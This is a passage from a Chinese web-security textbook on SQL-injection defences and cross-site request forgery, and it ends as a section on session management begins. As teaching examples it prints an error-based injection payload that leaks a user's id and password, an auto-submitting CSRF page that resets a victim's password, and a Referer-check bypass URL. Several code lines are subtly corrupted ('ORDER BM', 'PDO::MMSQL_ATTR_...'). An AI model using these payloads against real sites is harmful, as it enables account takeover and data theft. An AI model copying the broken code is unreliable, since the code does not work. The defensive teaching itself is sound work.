调查时使用的数据库版本\n数据库\n版本\n参考网页\nMySQL\n5.5\nhttp://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_like\nPostgreSQL\n9.0.2\nhttp://www.postgresql.jp/document/pg902doc/html/functions-matching.html#FUNCTIONS-LIKE\nOracle ※2\n11g\nhttp://download.oracle.com/docs/cd/E16338_01/server.112/b56299/conditions007.htm#i1034153\nMS SQL Server\nSQL Server 2008 R2\nhttp://msdn.microsoft.com/ja-jp/library/ms179859.aspx\nIBM DB2\n9.7\nhttp://publib.boulder.ibm.com/infocenter/db2luw/v9r7/index.jsp?topic=/com.ibm.db2.luw.sql.ref.doc/doc/r0000751.html\n※2 Oracle 11g 的参考网页中没有提及全角通配符，但根据实际操作我们发现，全角通配符也需要进行转义。（使用 Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 验证）\n使用占位符的各种处理\n在实际的 Web 应用开发中遇到条件复杂的 SQL 语句时，很多人可能都会萌发用拼接字符串的方式来组装 SQL 语句的想法，因为他们觉得使用占位符无法写出复杂的 SQL 语句。鉴于这种情况，接下来我们就向大家介绍一下各种复杂情况下使用占位符来调用 SQL 语句的例子。\n查询条件发生动态变化\nWeb 应用的查询页面中有时会提供多个查询条件，在这样的页面中，SQL 语句只在有输入内容的文本框中组装，所以 SQL 语句就会根据用户的输入情况而发生变化。\n这种情况下，可以使用字符串动态拼接含有占位符 ?\n 的 SQL 语句，等到调用 SQL 语句时才绑定参数。示例脚本如下。在这段脚本中，PHP 变量 $title\n 和 $price\n 分别为书名和价格上限的页面输入值。\n// 基底 SQL 语句\n$sql = 'SELECT id, title, author, publisher, date, price FROM books';\nif ($title !== '') { // 添加 title 查询条件（LIKE）\n $conditions[] = \"title LIKE ? ESCAPE '#'\";\n $ph_type[] = 'text';\n $ph_value[] = escape_wildcard($title);\n}\nif ($price !== '') { // 添加 price 查询条件（大小比较）\n $conditions[] = \"price <= ?\";\n $ph_type[] = 'integer';\n $ph_value[] = $price;\n}\nif (count($conditions) > 0) { // 存在 WHERE 语句时\n $sql .= ' WHERE ' . implode(' AND ', $conditions);\n}\n$stmt = $mdb2->prepare($sql, $ph_type); // 准备 SQL 语句\n$rs = $stmt->execute($ph_value); // 执行变量绑定和查询操作\n虽然本例中指定的查询条件最多只有 2 个，但更复杂的查询条件语句也能够通过同样的方法使用占位符拼接而成。\n各种列的排序\n为了方便用户浏览列表，有时需要将 SQL 语句的查询结果根据用户指定的列进行排序。SQL 中能够使用 ORDER BY 语句指定列并进行排序，但编程时稍有疏忽就会引入安全隐患。比如，假设脚本中有如下 SQL 语句，其中，指定列名的 $row\n 通过查询字符串等外部途径传入。如果指定 row=author\n ，就会按照作者名进行排序。\nSELECT * FROM books ORDER BM $row\n而如果 $row\n 被指定为如下值，就形成了 SQL 注入攻击。\ncast((select id||':'||pwd FROM users limit 1) as integer)\n此时展开后的 SQL 语句如下所示。\nSELECT * FROM books ORDER BM cast((select id||':'||pwd FROM users limit 1) as integer)\n执行结果\nERROR: integer 类型的输入语法无效 : \"yamada:pass1\"\n另外，还可以在 ORDER BY 语句后插入分号并追加其他 SQL 语句（UPDATE 等）。\n下面就让我们来看一下该问题的防范策略，即检验排序列名的有效性的方法。\n假设在以下脚本中，由查询字符串 sort\n 来指定进行排序的列。数组 $sort_columns\n 为允许指定的排序列名。这里使用 array_search\n 函数检查外界传入的列名是否合法，合法的情况下才能够在 SQL 语句后面加上 ORDER BY 语句。\n$sort_columns = array('id', 'author', 'title', 'price');\n$sort_key = $_GET['sort'];\nif (array_search($sort_key, $sort_columns) !== false) {\n $sql .= ' ORDER BM ' . $sort_key;\n}\nSQL 注入的辅助性对策\n通过上面的讲述我们知道了防范 SQL 注入攻击的根本性对策为使用占位符。而这里我们将向大家介绍一些能够配合占位符一起实施的辅助性对策。所谓辅助性对策，是指当根本性对策的实施有疏漏，或者中间件存在漏洞时，能够减轻攻击造成的损害的对策。\n不显示详细的错误消息\n检验输入值的有效性\n设置数据库权限\n不显示详细的错误消息\n之前我们提到过利用错误消息来实施 SQL 注入攻击，从而成功窥探数据库中信息的例子。其中，特别是在显示为 SQL 错误的情况下，SQL 注入漏洞会更容易暴露给外界。因此，通过避免显示详细的错误消息，就能够在存在 SQL 注入漏洞的情况下，使攻击难度加大。\nPHP 中关闭详细的错误消息的显示，只需在 php.ini 中做如下设置。\ndisplay_errors = Off\n检验输入值的有效性\n正如 4.2 节所述，依据应用程序的规格校验输入值，有时能够达到抵挡外部攻击的效果。例如，邮编输入框仅能输入数字、用户名输入框仅能输入字母和数字等，进行输入校验后，即使忘了利用占位符，也不会使 SQL 注入攻击得逞。\n但是，仅依靠输入校验是无法杜绝 SQL 注入攻击的。因为像地址输入框或评论输入框等地方就不限制输入字符的种类。因此，对抗 SQL 注入攻击还是要使用占位符。\n设置数据库权限\n将 Web 应用数据库的用户访问权限设置为所需的最低限度后，万一遭受 SQL 注入攻击，也能将受损降到最低。\n例如，仅显示商品信息的应用就不需要用户对商品数据表进行书写操作。这种情况下，仅开放商品数据表的读取权限给数据库用户，而不授予其书写权限，就能防止商品信息被篡改。\n此外，针对在“其他攻击”中提到的通过 SQL 读取文件这一攻击类型，也需要设置数据库管理员权限。将数据库用户的权限设为所需的最低限度，即使应用中有 SQL 注入漏洞，也能将受害程度降到最低。\n24\n 静态占位符在 ISO 或 JIS 中，也被称为预处理语句（Prepared Statement）。\n25\n 详情可参考 http://jvn.jp/en/jp/JVN59748723/\n26\n MySQL 中可以不写 ESCAPE 语句而使用 \\ 来转义字符。但由于 SQL 标准规格（ISO 及 JIS）中规定没有 ESCAPE 语句时就认为没有定义转义字符，因此，按照这一标准，始终使用 ESCAPE 语句来定义转义字符更为保险。\n总结\n本节讲解了 SQL 注入漏洞的相关知识。SQL 注入漏洞能导致数据库内的所有信息被泄漏或篡改，从而造成极大的影响。因此，应用开发者在编程时一定要时刻警惕 SQL 注入漏洞。\n防范 SQL 注入的最佳方法为使用静态占位符调用 SQL 语句。由于即使是动态的 SQL 语句也能够设法使用静态占位符来实现，因此，建议开发者们在应用中全部使用静态占位符。\n继续深入学习\n关于以下这些本书未涉及的内容，读者们可以参考独立行政法人信息处理推进机构（IPA）发表的《安全调用 SQL 的方法》[5]。\n应进行转义的字符详情\n字符编码的影响\n而不同数据库引擎的攻击方法的示例，在金床所著的《Web 应用安全》[2] 或 Justin Clarke 所著的《SQL 注入攻击与防御》[1] 中有详细说明。\n此外，当攻击者无法利用错误消息或 UNION SELECT 窃取内部信息时，还可以使用 SQL 盲注攻击（Blind SQL Injection）的手段达到窃取信息的目的，详情见佐名木智贵所著的《Web 编程安全性技巧》[3] 或《SQL 注入攻击与防御》[1]。\n参考：无法使用占位符时的对策\n虽然本书始终推荐使用占位符来应对 SQL 注入，但是，在一个既有的应用中，如果将实现方针全部改为使用占位符的话，修改成本将非常巨大。\n这种情况下，为了解决 SQL 注入漏洞，可以沿用字符串拼接 SQL 语句的方法，并将重点注目于字面量的正确处理上。具体来说应实施以下两点。\n将字符串字面量中有特殊意义的字符和符号进行转义\n确保数值字面量中不被混入数值以外的字符\n有些调用 SQL 的程序库中提供了 quote\n 方法来转义 SQL 中的字符串字面量，它能够根据数据库的种类和设置等自行调整转义的字符。\n数值字面量的情况下一般只需将值转换（Cast）为数值型即可，但是，像位数很多的十进制数等在一些编程语言中就没有对应的类型，这时就不能使用类型转换，而应使用正则表达式来检验数值。\n详情请参考独立行政法人信息处理推进机构（IPA）发表的《安全调用 SQL 的方法》[5]。\n参考：Perl+MySQL 的安全连接方法\nPerl 和 MySQL 的组合有着很高的人气。但由于 Perl 的标准库中的 SQL 连接库 DBI/DBD 连接 MySQL 时默认使用动态占位符，因此，要想改为使用静态占位符的话，就需要修改如下设置（阴影部分）。\nmy $db = DBI->connect('DBI:mysql:books:localhost;\nmysql_server_prepare=1\n;mysql_enable_utf8=1', 'username', 'password') || die\n$DBI::errstr;\n参考：PHP+PDO+MySQL 的安全连接方法\n在使用 PHP 的开发中，连接 MySQL 数据库通常会采用 PDO（PHP Data Objects）。PDO 因处理速度快而备受欢迎，但使用时需注意防范 SQL 注入漏洞。\nPDO 没有提供指定连接数据库时的字符编码的方法，只能通过指定 MySQL 的配置文件的方式来指定字符编码，如下所示。下面的代码中还设置了使用静态占位符。\n$dbh = new PDO('mysql:host=localhost;dbname=wasbook', 'username', 'password', array(\n PDO::MMSQL_ATTR_READ_DEFAULT_FILE => '/etc/mysql/my.cnf',\n PDO::MMSQL_ATTR_READ_DEFAULT_GROUP => 'client',\n PDO::ATTR_EMULATE_PREPARES => false,\n ));\n另外，在 /etc/mysql/my.cnf（MySQL 的配置文件）中添加如下设置。\n[client]\ndefault-character-set=utf8\n参考：Java+MySQL 的安全连接方法\nJava 连接 MySQL 时使用 JDBC 驱动的 MySQL Connector/J。由于这一组合默认使用的是动态占位符，因此，建议修改如下设置（阴影部分）以改为使用静态占位符。\nConnection con = DriverManager.getConnection(\n\"jdbc:mysql://localhost/dbname?user=xxx&password=xxxx&\nuseServerPrepStmts=true\n&useUnicode=true&characterEncoding=utf8\")\n参考文献\n[1] Justin Clarke.（2009）. SQL Injection Attacks and Defence\n . Syngress.\n[2] 金床 .（2007）.《ウェブアプリケーションセキュリティ》（《Web 应用安全》）. データ·ハウス .\n[3] 佐名木智貴 .（2008）.《セキュア Web プログラミング Tips 集》（《Web 编程安全性技巧》）. ソフト·リサーチ·センター .\n[4] 德丸浩（2008 年 12 月 22 日）. Java と MySQL の組み合わせで Unicode の U+00A5 を用いた SQL インジェクションの可能性（通过 Java 和 MySQL 的组合对利用 Uninode 的 U+00A5 进行 SQL 注入的可能性）. 参考日期：2010 年 12 月 23 日，参考网址：德丸浩の日記 : http://www.tokumaru.org/d/20081222.html#p01\n[5] 独立行政法人信息处理推进机构（IPA）.（2010 年 3 月 18 日）. 安全な SQL の呼び出し方（安全调用 SQL 的方法）. 参考日期：2010 年 12 月 7 日，参考网址：情報処理推進機構 : http://www.ipa.go.jp/security/vuln/websecurity.html\n4.5 关键处理中引入的安全隐患\nWeb 应用中，用户登录后执行的操作中有些处理一旦完成就无法撤销，本书将此类处理称为“关键处理”27\n 。像用户使用信用卡支付、从用户的银行账号转账、发送邮件、更改密码或邮箱地址等都是关键处理的典型案例。\n27\n 有些文献也把关键处理用于表示特定的副作用。\n关键处理中如果存在安全隐患，就会产生名为跨站请求伪造（Cross-Site Request Forgeries，简称 CSRF）的漏洞。接下来，本节就将对 CSRF 漏洞进行详细的说明。\n4.5.1 跨站请求伪造（CSRF）\n概要\n在执行关键处理前，需要确认该请求是否确实由用户自愿发起。如果忽略了这个确认步骤，就可能出现很大问题，比如用户只是浏览了恶意网站，浏览器就擅自执行关键处理等。\n引发上述问题的安全隐患被称为跨站请求伪造（CSRF）漏洞，而针对 CSRF 漏洞进行的攻击就是 CSRF 攻击。\nWeb 应用存在 CSRF 漏洞时就可能会遭受如下攻击。\n使用用户的账号购物\n删除用户账号\n使用用户的账号发布帖子\n更改用户的密码或邮箱地址等\nCSRF 漏洞造成的影响仅限于应用的关键处理被恶意使用，而像用户的个人信息等就无法通过 CSRF 攻击窃取 28\n 。\n28\n 但是，一旦攻击者修改了用户的密码，就有可能窃取该用户的个人信息。\n因此，为了预防 CSRF 漏洞，就需要在执行关键处理前确认请求确实是由用户自愿发起的。详情请参考本节的“对策”。\nCSRF 漏洞总览\n攻击手段与影响\n首先让我们来看一下针对 CSRF 漏洞实施的两种典型的攻击模式。即“输入－执行”这种简单模式下的攻击手段以及中途包含确认页面时的攻击方法。\n“输入－执行”模式的 CSRF 攻击\n此处用更改密码页面作为“输入－执行”模式下关键处理的例子。以下 PHP 脚本展示了更改密码处理的概要。\n代码清单 /45/45-001.php（登录脚本）\n<?php // 用来确认用户已登录的脚本\n session_start();\n $id = @$_GET['id'];\n if (! $id) $id = 'yamada';\n $_SESSION['id'] = $id;\n?>\n<body>\n已登录 (id:<?php echo\n htmlspecialchars($id, ENT_NOQUOTES, 'UTF-8'); ?>)<br>\n<a href=\"45-002.php\"> 更改密码 </a>\n</body>\n代码清单 /45/45-002.php（密码输入页面）\n<?php\n session_start();\n // 确认登录 省略\n?>\n<body>\n<form action=\"45-003.php\" method=\"POST\">\n新密码 <input name=\"pwd\" type=\"password\"><br>\n<input type=\"submit\" value=\" 更改密码 \">\n</form>\n</body>\n代码清单 /45/45-003.php（执行更改密码）\n<?php\n function ex($s) { // 用于防范 XSS 的 HTML 转义及显示处理函数\n echo htmlspecialchars($s, ENT_COMPAT, 'UTF-8');\n }\n session_start();\n $id = $_SESSION['id']; // 取得用户名\n // 确认登录 省略\n $pwd = $_POST['pwd']; // 取得密码\n // 更改密码处理 将用户 $id 的密码更改为 $pwd\n?>\n<body>\n<?php ex($id); ?> ○○的密码已更改为△△\n</body>\n这些脚本的运行示例如图 4-41 所示。\n图 4-41 脚本运行示例\n可见，密码在最后的 45-003.php 中被更改。然而，通过此脚本更改密码，还需要满足以下 3 个条件。\n使用 POST 方法请求 45-003.php\n保持登录状态\n使用 POST 参数中的 pwd\n 指定新密码\n而使浏览器发送满足以上条件的请求的攻击即为 CSRF 攻击。下面就是用来实施 CSRF 攻击的 HTML 文件。\n代码清单 /45/45-900.html\n<body onload=\"document.forms[0].submit()\">\n<form action=\"http://example.jp/45/45-003.php\" method=\"POST\">\n<input type=\"hidden\" name=\"pwd\" value=\"cracked\">\n</form>\n</body>\n这段代码为实施 CSRF 攻击的恶意网页的 HTML 源代码。攻击者将其置于互联网上，并在其中添加攻击对象网站用户可能感兴趣的内容，以引诱网站的用户前来浏览。\n用户浏览此 HTML 时的情形如图 4-42 所示。\n图 4-42 通过 CSRF 攻击变更密码\n这种情况下，因为先前列举的变更密码所需条件都已满足，所以正规用户的密码就被成功更改为了 cracked。\n图 4-43 CSRF 攻击成功\n攻击者在实际发动攻击时，为了使攻击显得隐蔽，通常会采用不可见的 iframe 来布置恶意网页（45-901.html）。\n图 4-44 隐藏 iframe 以进行暗中攻击\n此时，根据同源策略，从 iframe 的外层（恶意网页）无法读取到内层（攻击对象）的内容，因此，CSRF 攻击虽然能够以正规用户的权限恶意使用攻击对象网站中的关键处理，却无法获取网页中显示的内容。\n密码被更改也会导致信息泄漏\n由于 CSRF 攻击者不能获取攻击对象页面，因此便无法窃取信息。但是，在使用 CSRF 攻击成功更改用户密码后，攻击者就知道了更改后的密码，从而也就能够登录应用来窃取被害人的信息了。\nCSRF 攻击与 XSS 攻击\nCSRF 与（反射型）XSS 不仅名称相似，攻击流程也如出一辙，甚至连攻击的影响也有相同之处，因此将两者混淆的人不在少数。而为了区分两者，我们可以看一下图 4-45 所展示的 CSRF 和反射型 XSS 的攻击流程。根据此图可以看出，CSRF 和 XSS 在步骤①到③时大体相似，之后便产生了分歧。\n图 4-45 CSRF 与反射型 XSS 的比较\nCSRF 是指恶意使用服务器对步骤③中请求的处理，恶意使用的内容仅限于服务器端提供的处理。\n而 XSS 的情况下，③的请求中包含的脚本则被原封不动地以响应④的形式返回，随后该恶意脚本在用户的浏览器中被执行。由于攻击者能够在用户的浏览器上执行自己准备的 HTML 或 JavaScript，因此只要是浏览器能做到的事都可以被用作攻击手段。攻击者甚至还能够通过 JavaScript 恶意使用服务器端的功能（显示在图中的话就是步骤⑤——向服务器发出恶意请求）。\n由此可见，就攻击范围来说，XSS 的威胁更大，但针对 CSRF 漏洞则特别需要注意如下两点。\nCSRF 需要在设计阶段就考虑防范策略\n开发者对 CSRF 的认知度要低于 XSS，CSRF 对策方面也没有太大进展\n存在确认页面时的 CSRF 攻击\n接下来就让我们来看一下第二种攻击模式，即输入页面与执行页面之间包含确认页面时的情况。有人觉得有了确认页面后 CSRF 攻击就行不通了，但遗憾的是这是个普遍的误解。\n下面以更改邮箱地址的操作为例进行说明。一旦能够随意更改他人的邮箱地址，就可以使用重置密码等功能窃取用户密码。\n确认页面将数据传递给执行页面的方法大体上有两种。一种是使用 hidden 参数（type 属性为 hidden 的 input 元素），另一种是使用会话变量。首先来看使用 hidden 参数的情况。\n使用 hidden 参数传递参数\n下图展示了更改邮箱地址操作时的页面跳转情况。输入页面中输入的邮箱地址被以 hidden 参数的形式嵌入在确认页面中，然后又被传递给了执行页面。\n图 4-46 使用 hidden 参数传递参数\n此模式下的 CSRF 攻击手段与没有确认页面时的情况相同。这是因为执行页面从输入（HTTP 请求）中取得邮箱地址信息这一点与之前的例子一样。所以，上面介绍的恶意 HTML 几乎是被直接用来攻击的。\n使用会话变量传递参数\n针对在确认页面和执行页面之间利用会话变量传递参数的网站，CSRF 将如何展开攻击呢？如图 4-47 所示，确认页面将接收到的邮箱地址保存至会话变量，然后再转递给执行页面。\n图 4-47 使用会话变量传递参数\n针对上述模式的应用程序发动攻击，需要以下两个阶段。\n1. 向确认页面发送 POST 请求，使邮箱地址保存到会话变量中\n2. 伺机打开执行页面\n实现上述两个阶段的攻击的方法如下图所示，需要用到 2 个 iframe 元素。\n图 4-48 使用 2 个 iframe 元素的两个阶段的攻击\niframe1 与恶意网页同时打开，并向确认页面发送含有邮箱地址的 POST 请求。这样一来邮箱地址就被保存到了会话变量中。\n在恶意网页打开 10 秒钟后，iframe2 打开执行页面并完成 CSRF 攻击。这时，由于邮箱地址已被设置到会话变量中，因此邮箱地址就被更改为了攻击者所指定的邮箱地址。攻击成功。\n有些应用采取向导的形式，要经过多个步骤才到达最后的执行页面，这种情况下，只需增加 iframe 的数量就照样能够实施攻击。\n专栏：针对内部网络的 CSRF 攻击\nCSRF 攻击的攻击目标并不仅限于发布到互联网上的网站。内部网络（局域网）的服务器同样也会成为攻击目标。例如，路由器或防火墙的配置页面中存在的 CSRF 漏洞就是典型案例。路由器或防火墙的管理员终端如果浏览了恶意网站，就有可能导致机器被非法设置，从而允许外部的访问入侵。\n然而，实施该攻击的前提是必须要知道攻击目标中安全隐患的详细信息（URL、参数名、功能等）。而为了获取攻击所需的信息，一般可采取如下途径。\n调查市面上贩卖的软件或仪器的安全隐患\n退职员工等有过访问内部网络经验的人实施攻击\n内部人员佯装外人实施攻击\n由此可见，针对内部网络的 Web 系统发动 CSRF 攻击是可行的。同样，内部网络也有可能遭受 XSS 等其他被动攻击。因此，即使是内部系统，如果对安全隐患置之不理的话同样也很危险。\n安全隐患的产生原因\nCSRF 漏洞之所以能够产生，是因为 Web 应用存在以下特性。\n（1）form 元素的 action 属性能够指定任意域名的 URL\n（2）保存在 Cookie 中的会话 ID 会被自动发送给对象网站\n（1）的问题在于，即便是恶意网站，也能够向攻击目标网站发送请求。而（2）的问题则在于，即便请求经过了恶意网站，会话 ID 的 Cookie 值也照样会被发送，从而导致攻击请求在认证的状态下被发送。\n下图展示了常规的请求（正规用户自愿发送的请求）与 CSRF 攻击的请求（非正规用户自愿发送的请求）的区别（仅列出了主要项目）。\n用户自愿发送的 HTTP 请求\nPOST /45/45-003.php HTTP/1.1\nReferer: http://example.jp/45/45-002.php\nContent-Type: application/x-www-form-urlencoded\nHost: example.jp\nCookie: PHPSESSID=isdv0mecsobejf2oalnuf0r1l2\nContent-Length: 9\npwd=pass1\nCSRF 攻击发送的 HTTP 请求\nPOST /45/45-003.php HTTP/1.1\nReferer: http://trap.example.com/45/45-900.html\nContent-Type: application/x-www-form-urlencoded\nHost: example.jp\nCookie: PHPSESSID=isdv0mecsobejf2oalnuf0r1l2\nContent-Length: 9\npwd=pass1\n比较两者后可以得知，HTTP 请求的内容几乎一模一样，只有 Referer 字段存在差异。用户自愿发送的请求中 Referer 指向密码输入页面的 URL，而 CSRF 攻击的 HTTP 请求中 Referer 却指向了恶意网页的 URL。\n而 HTTP 请求中 Referer 以外的部分则全部相同。由于通常情况下，Web 应用中并不会检验 Referer 的值，所以，如果开发者没有意识去确认该请求是否由正规用户自愿发送，就无法区分两者。这时就会引入 CSRF 漏洞。\n另外，虽然我们目前为止所说的都是使用 Cookie 进行会话管理的网站的情况，而事实上使用其他自动发送的参数进行会话管理的网站，同样也会受到 CSRF 攻击。具体来说，像使用 HTTP 认证、SSL 客户端认证、手机的移动 ID（i-modeID、EZ 号、终端序列号等）等进行认证的网站，都有可能受到 CSRF 攻击的影响。\n对策\n前面已经强调过，防御 CSRF 的关键为确认关键处理的请求确实是由正规用户自愿发送的。因此，作为 CSRF 的防范策略，需执行以下两点。\n筛选出需要防范 CSRF 攻击的页面\n使代码有能力辨认是否是正规用户的自愿请求\n下面我们就来详细地解说以上两点。\n筛选出需要防范 CSRF 攻击的页面\n并非所有页面都需要实施 CSRF 防御策略，事实上无需防范 CSRF 的页面居多。通常情况下，Web 应用的入口并非只有一处，通过搜索引擎、社交书签、其他链接等方式都能进入到 Web 应用中的各种页面。比如 EC（电子商务）网站一般就非常欢迎通过外部链接进入到它的商品展示页面。而像这种页面就不用实施 CSRF 对策。\n而另一方面，EC 网站中的购买商品、更改密码或确认个人信息等页面，就不能够任由其他网站随意执行。这样的页面就应当实施 CSRF 防范策略。\n以下为 EC 网站的简易的页面跳转图。图中需要防范 CSRF 的页面为“购买”和“更改”页面 29\n 。需要防范 CSRF 的页面添加了阴影。\n图 4-49 EC 网站的页面跳转图\n鉴于上述这种情况，开发者在开发过程中，应当执行以下流程。\n在需求分析阶段制作功能一览表，标记出需要执行 CSRF 防范策略的功能\n在概要设计阶段制作页面跳转图，标记出需要执行 CSRF 防范策略的页面\n在开发阶段实施 CSRF 防范策略\n接下来我们就来看一下具体的开发方法。\n确认是正规用户自愿发送的请求\n确认请求由正规用户自愿发送是 CSRF 防御策略中必需的步骤。\n下图中，假设将用户点击“执行”按钮后发送的请求作为用户自愿发送的请求，而非自愿的请求，即为从恶意网站发出的请求。两者的对比如下。\n图 4-50 正规用户自愿发送的请求·非自愿发送的请求\n具体来说，判断请求是否为正规用户自愿发送的实现方法，有如下 3 类。\n嵌入机密信息（令牌）\n再次输入密码\n检验 Referer\n下面就让我们来依次说明。\n嵌入机密信息（令牌）\n如果访问需防范 CSRF 的页面（登录页面、订单确认页面等）时需要提供第三方无法得知的机密信息的话，那么即使出现非正规用户自愿发送的请求，应用端也能够通过判断得知请求是否合法。用于此目的的机密信息被称为令牌（Token）。会话 ID 就是一种既简单又安全的令牌的实现方法。\n下面我们就来看一下嵌入令牌并进行检验的例子。\n代码清单 嵌入令牌的例子（执行页面的前一个页面）\n<form action=\"chgpwddo.php\" method=\"POST\">\n新密码 <input name=\"pwd\" type=\"password\"><br>\n<input type=\"hidden\" name=\"token\" value=\"<?php echo htmlspecialchars(session_id(), ENT_COMPAT, 'UTF-8'); ?>\">\n └嵌入令牌\n<input type=\"submit\" value=\" 更改密码 \">\n</form>\n代码清单 确认令牌的例子（执行页面）\nsession_start(); ┌─确认令牌\nif (session_id() !== $_POST['token']) {\n die(' 请从正规的页面进行操作 '); // 显示合适的错误消息\n}\n// 下面将执行关键处理\n通过要求提供第三方无法得知的令牌，从而成功防御了 CSRF 攻击。\n在页面跳转有三次以上的情况下，如“输入－确认－执行”模式，嵌入令牌的页面也同样应当为执行页面的前一个页面。\n另外，接收令牌的请求（接收关键处理的请求）必须为 POST 方法。因为假如使用 GET 方法发送机密信息的话，令牌信息就有可能通过 Referer 泄漏出去 30\n 。\n专栏：令牌与一次性令牌\n有一种令牌叫作一次性令牌。一次性令牌使用一次后即作废。因此每当需要一次性令牌时都会生成不同的值。生成一次性令牌时通常使用密码学级别的伪随机数生成器（参考 4.6.2 节）。\n一次性令牌经常被用于需要防范重放攻击（Replay Attack）的情况下。重放攻击是指，在监听得到加密的请求后，将该请求原封不动地再次发送而达到伪装的效果。一次性令牌能有效防御重放攻击。\n关于一次性令牌是否应该用于 CSRF 的防范策略，目前为止还没有形成统一的认识。虽然有人主张使用一次性令牌会提升安全性，但基于以下理由，本书并不推荐使用一次性令牌。\nCSRF 攻击与重放攻击毫不相干，因此并非一定要使用一次性令牌\n没有证据能说明一次性令牌比使用会话 ID 作为令牌的方法更安全\n使用一次性令牌有时会导致正常的操作也出错\n另外，在一些介绍一次性令牌的书籍中，很多生成令牌的方法并不安全。例如，使用不安全的随机数，或者使用当前时间的方法等。这些方法都不如使用会话 ID 作为令牌值安全。\n因此，应当避免自己生成一次性令牌的方法。\n再次输入密码\n让用户再次输入密码，也是用来确认请求是否由用户自愿发起的一种方法。\n除了用来防范 CSRF 攻击，再次输入密码也可以被用于其他目的。\n在用户下订单之前，再次向用户确认购买意向\n能够确认此时在电脑前操作的确实是用户本人\n因此，当页面有上述需求时，最好采用再次输入密码的方法来防范 CSRF。而对其他的页面（如注销处理）来说，让用户再次输入密码，反而会降低应用的易用性 31\n 。\n前面在讲解 CSRF 攻击时所列举的密码变更功能是安全性方面的重要功能，因此，为了再次确认操作者确实为用户本人，要求用户再次输入密码是目前非常普遍的一种方式 {32[不仅需要输入当前的密码，由于密码的输入框通常看不到输入值，为了防止输入错误，新密码的情况下一般会要求输入两遍。]}。\n不论是有 3 个以上页面的“输入－确认－执行”模式，还是向导模式，要求确认密码的页面都应该是最后的执行页面。如果仅在中途的某个页面进行密码确认，根据代码实现方法还是可能会存在 CSRF 漏洞，所以要求输入密码的时机非常重要。\n检验 Referer\n在执行关键处理的页面确认 Referer，也是 CSRF 的一种防范策略。正如“安全隐患的产生原因”这一小节所讲述的那样，正规请求与 CSRF 攻击请求的 Referer 字段的内容不同。正规请求中 Referer 的值应该为执行页面的上一个页面（输入页面或确认页面等）的 URL，这一点一定要得到确认。下面就是检验 Referer 的示例。\nif (preg_match('#\\Ahttp://example\\.jp/45/45-002\\.php#',\n @$_SERVER['HTTP_REFERER']) !== 1) {\n die(' 请从正规的页面进行操作 '); // 显示合适的错误消息\n}\n检验 Referer 的方法也存在缺陷。因为如果用户设置为不发送 Referer，页面就会无法正常显示。通过个人防火墙或浏览器的插件等禁止 Referer 的用户不在少数。另外，手机的浏览器中也有不发送 Referer 的浏览器和能够关闭发送 Referer 功能的浏览器。\n另外，检验 Referer 时还容易产生疏漏，这一点一定要引起注意。例如，下面的检验就存在安全隐患。\n// Referer 检验存在漏洞的示例\nif (preg_match('#^http://example\\.jp#', @$_SERVER['HTTP_REFERER'])\n !== 1) { // 以下为错误处理\n// 能够绕过上述校验的示例 URL（域名为 example.com，而非 example.jp）\n// http://example.jp.trap.example.com/trap.html\n问题出在 example.jp 后面的 / 没有得到检验。检验 Referer 时，必须要使用前方一致检索检验绝对 URL，包括域名后的 /。\n另一方面，检验 Referer 方法所需的代码量是最少的。因为其他两种方法都需要在 2 个页面中追加处理，而检验 Referer 方法只需要在执行关键处理的页面上追加处理即可。\n综上所述，通过检验 Referer 来防范 CSRF 漏洞的方法，其适用范围应该被限定在对公司的内部系统等能够限定用户环境的既有应用实施安全隐患对策的情况。\nCSRF 防范策略的比较\n这里，我们对以上讲述的三种 CSRF 防范策略加以比较归纳，如表 4-12 所示。\n表 4-12 CSRF 防范策略的比较\n嵌入令牌\n再次输入密码\n确认 Referer\n开发耗时\n中\n中 *1\n小\n对用户的影响\n无\n增加了输入密码的麻烦\n关闭了 Referer 的用户无法 正常使用\n能否用于手机网站\n可\n可\n不可\n建议使用的地方\n最基本的防御策略，所有情况下均可使用\n需要防范他人伪装或者确认需求很强的页面\n用于能够限定用户环境的既有应用的 CSRF 防范策略\n*1 如果作为既有系统的 CSRF 防范策略而从后期添加的话，因为需要修改页面，所以可能会非常耗时。\nCSRF 的辅助性对策\n执行完关键处理后，建议向用户注册的邮箱发送有关处理内容的通知邮件。\n发送通知邮件虽然不能防范 CSRF 攻击，但是在万一遭受了 CSRF 攻击的情况下能在第一时间让用户知情，从而将损害降到最低。\n另外，除了 CSRF 攻击之外，在攻击者通过 XSS 攻击伪装成用户操作关键处理时，发送通知邮件也能够使用户尽早发现，可谓大有裨益。\n但是，由于邮件是未经加密的明文传输，因此，最好不要在邮件中添加重要信息，而只是通知用户有人恶意执行了关键处理。而如果用户想要了解详情的话，可以登录 Web 应用查看购买历史或发送历史等内容。\n对策总结\nCSRF 漏洞的根本性防范策略如下。\n筛选出需要防范 CSRF 的页面\n确认是正规用户自愿发起的请求\n其中，确认请求确实由用户自愿发起的方法有以下三种。三种方法的比较请参考表 4-12。\n嵌入机密信息（令牌）\n再次输入密码\n检验 Referer\n另外，作为 CSRF 漏洞的辅助性对策，可以执行以下操作。\n执行完关键处理后，向用户注册的邮箱发送通知邮件\n29\n “添加到购物车”页面也需要防范 CSRF。不过，即使被第三方随意添加了购入商品，用户在付款前也应该能够察觉到。因此，如果作为一种营销模式而允许外界添加商品的话，就可以选择不对该页面执行 CSRF 防范策略。\n30\n HTTP/1.1 的规格文档 RFC2616 中记载了含有更新处理的页面不应使用 GET 方法（9.1.1 节），由此可见，需要防范 CSRF 的页面本来就不应该使用 GET，而应当使用 POST 方法。\n31\n 注销处理对安全性的影响度较低，所以很多情况下会容许存在隐患。而且，就算针对注销处理采取 CSRF 防范策略，注销前让用户再次输入密码也会让人感觉极不自然。\n4.6 不完善的会话管理\nWeb 应用中经常使用会话管理机制来记忆认证结果等当前状态。当今主流的会话管理机制为，使用 Cookie 等记忆会话 ID 这个标识符，而此会话 ID 的作用就相当于获取服务器端信息的钥匙。\n接下来，本节就将讲述会话管理机制以及使用方法不妥善而产生的安全隐患。\n4.6.1 会话劫持的原因及影响\n如果由于某些原因，某用户的会话 ID 被第三方得知的话，就会出现他人伪装成该用户访问应用的危险。第三方恶意利用会话 ID 来伪装成他人的攻击手段就被称为会话劫持。\n第三方获取会话 ID 的手段有如下 3 类。\n预测会话 ID\n窃取会话 ID\n挟持会话 ID\n下面我们就来分别看一下以上 3 种手段的概况。\n预测会话 ID\n如果生成会话 ID 的方法不妥善，用户的会话 ID 就可能会被第三方预测成功，进而造成会话劫持。第 3 章中所介绍的连续数值就是一种不妥善的会话 